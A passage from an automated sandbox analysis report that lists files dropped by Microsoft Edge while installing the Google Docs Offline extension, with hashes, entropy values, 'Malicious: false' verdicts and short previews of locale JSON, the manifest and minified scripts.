Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.757003753691263
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvlcp7xpHsUy:m8IEI4u8R039y
MD5:	8F99E1EF2AFC5F73D9391C248A0390AA
SHA1:	DD15DCD68FFB7CBA69C6BBA010DF57A75390C64C
SHA-256:	D57215628AF1ECD1ECD8F83DA69245161E4E0A2CE24846B2FFF6B35DA232709B
SHA-512:	8F4AA8CE2EA90958BEC430CD46F1E76D8E7617C0735D8AB896F4DA1F84F3220920CCA6CA2DA2D7559355423EC115342183615F7E62E72EE6168A5930A078948B
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1h9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APhgiVb
MD5:	C1650B58FA1935045570AA3BF642D50D
SHA1:	8ECD9726D379A2B638DC6E0F31B1438BF824D845
SHA-256:	FEA4B4152B884F3BF1675991AED9449B29253D1323CAD1B5523E63BC4932D944
SHA-512:	65217E0EB8613326228F6179333926A68D7DA08BE65C63BD84AEC0B8075194706029583E0B86331E7EEEC4B7167E5BC51BCA4A53CE624CB41CF000C647B74880
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	122162
Entropy (8bit):	5.444710692772984
Encrypted:	false
SSDEEP:	1536:mKgC9lwS3skucsAHnA5Ayc/XzyEW8WW9Y1G6WIMctANlKIkk0ToyxecN9Bu1/9a:0UsMXz7b81tANlKr5oyPBuza
MD5:	01984DBFE92DF14DBD118C381A3D48F4
SHA1:	F85DB8A14D3F8A2F66AE153C56D37FAA68EFE8E3
SHA-256:	3A78B6FBC16F9FB27CE3ED650ABC31174263D762B71C028CC5D8F5427CBAB082
SHA-512:	91A575EC15BD3B37254623F5039B3F437A8EDED7761D1FADF8FD0D5B06247589AC055EEFD8F6627C5F6843663A90330E7603E00315D91D8D7B43F6C87D9D2888
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ha=fa(this);function r(a,b){if(b)a:{var c=ha;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (337)
Category:	dropped
Size (bytes):	338
Entropy (8bit):	4.678465166211649
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK6ALY6WHXt3:2Q8KVqb2u/Rt3OnjNkdd
MD5:	0396274AAF2EAE8917E5EB52CF69DFA4
SHA1:	96F53CFB2D6980E12AACEDC6D91759E7F5CA1718
SHA-256:	13E1562CD07FC06D692FDF1AA471E3CEAE3CF7C1E42C5345D430A947139A24D5
SHA-512:	091212DD84FCE06E0D47C6E26E0959A660B36B53D7AADE1DAC5CA2795E44B4D81AB271213DAE68E70A04EE2BDE9BCE4A63587580EC06B3FBBB7A2576B62ABD16
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;window._docs_chrome_extension_version="1.89.1";}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4884)
Category:	dropped
Size (bytes):	130889
Entropy (8bit):	5.42886594885059
Encrypted:	false
SSDEEP:	1536:6EO+9lhvoaEAoAf0OliS9XbrrJQiFZcBaw7ILYzEVKOAKa4q32O1I5Z+dOOXW+xi:DoE9Xb9ZevcKOAKaN2O1IwOOJxX9U
MD5:	BC4DBD5B20B1FA15F1F1BC4A428343C9
SHA1:	A1C471D6838B3B72AA75624326FC6F57CA533291
SHA-256:	DFAD2626B0EAB3ED2F1DD73FE0AF014F60F29A91B50315995681CEAAEE5C9EA6
SHA-512:	27CB7BD81ED257594E3C5717D9DC917F96E26E226EFB5995795BB742233991C1CB17D571B1CE4A59B482AF914A8E03DEA9CF2E50B96E4C759419AE1D4D85F60A
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var fa=ea(this);function r(a,b){if(b)a:{var c=fa;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\fd857efb-1047-440f-902f-8b06624d0598.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154545
Entropy (8bit):	7.839678617100523
Encrypted:	false
SSDEEP:	3072:zZH5WPD5SqCJryow8AWTtwGrasOQNHjWRKnvXTwL:zpIPFCXjAWTtwGusOWmMvjwL
MD5:	EAE462C55EBA847A1A8B58E58976B253
SHA1:	4D7C9D59D6AE64EB852BD60B48C161125C820673
SHA-256:	EBCDA644BCFBD0C9300227BAFDE696E8923DDB004B4EE619D7873E8A12EAE2AD
SHA-512:	494481A98AB6C83B16B4E8D287D85BA66499501545DA45458ACC395DA89955971CF2A14E83C2DA041C79C580714B92B9409AA14017A16D0B80A7FF3D91BAD2A3
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...................h...\|..=.Ih.\...T.....}..u0...HVND......R....~D.H$9w._2.3.2...5.H.V.@....k;..c.V.7s....9o`_3qP{}.....G....5.:.m..]..:.w\|'..lG.../..,...G....g...O..}....K.Hk......T>..F7G.!n..h.j...J...XzbG....kK]!z..;.K.U.......1:..7w.....6...N.I!....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!...j9%2/.....(-.C.....].=....I.a..!......k..,i.....T.m.xM.W4.)`0..6R".%............m..8.....\|.#......`..L0~..F-....B%.Bh.......H....R..~...Z....7Q...y....?.....[......t........J.R^....o....?.%....3h...8.....e..0.v..33.Si...._....3.d.S...Y....b.....O.s$......~...)l..g._.);.S.......yn@.....3iG.).I76.]..].t_..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_2123259292\8ebd197d-0ebc-4136-aa0f-68181b8b73d3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8188_2123259292\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
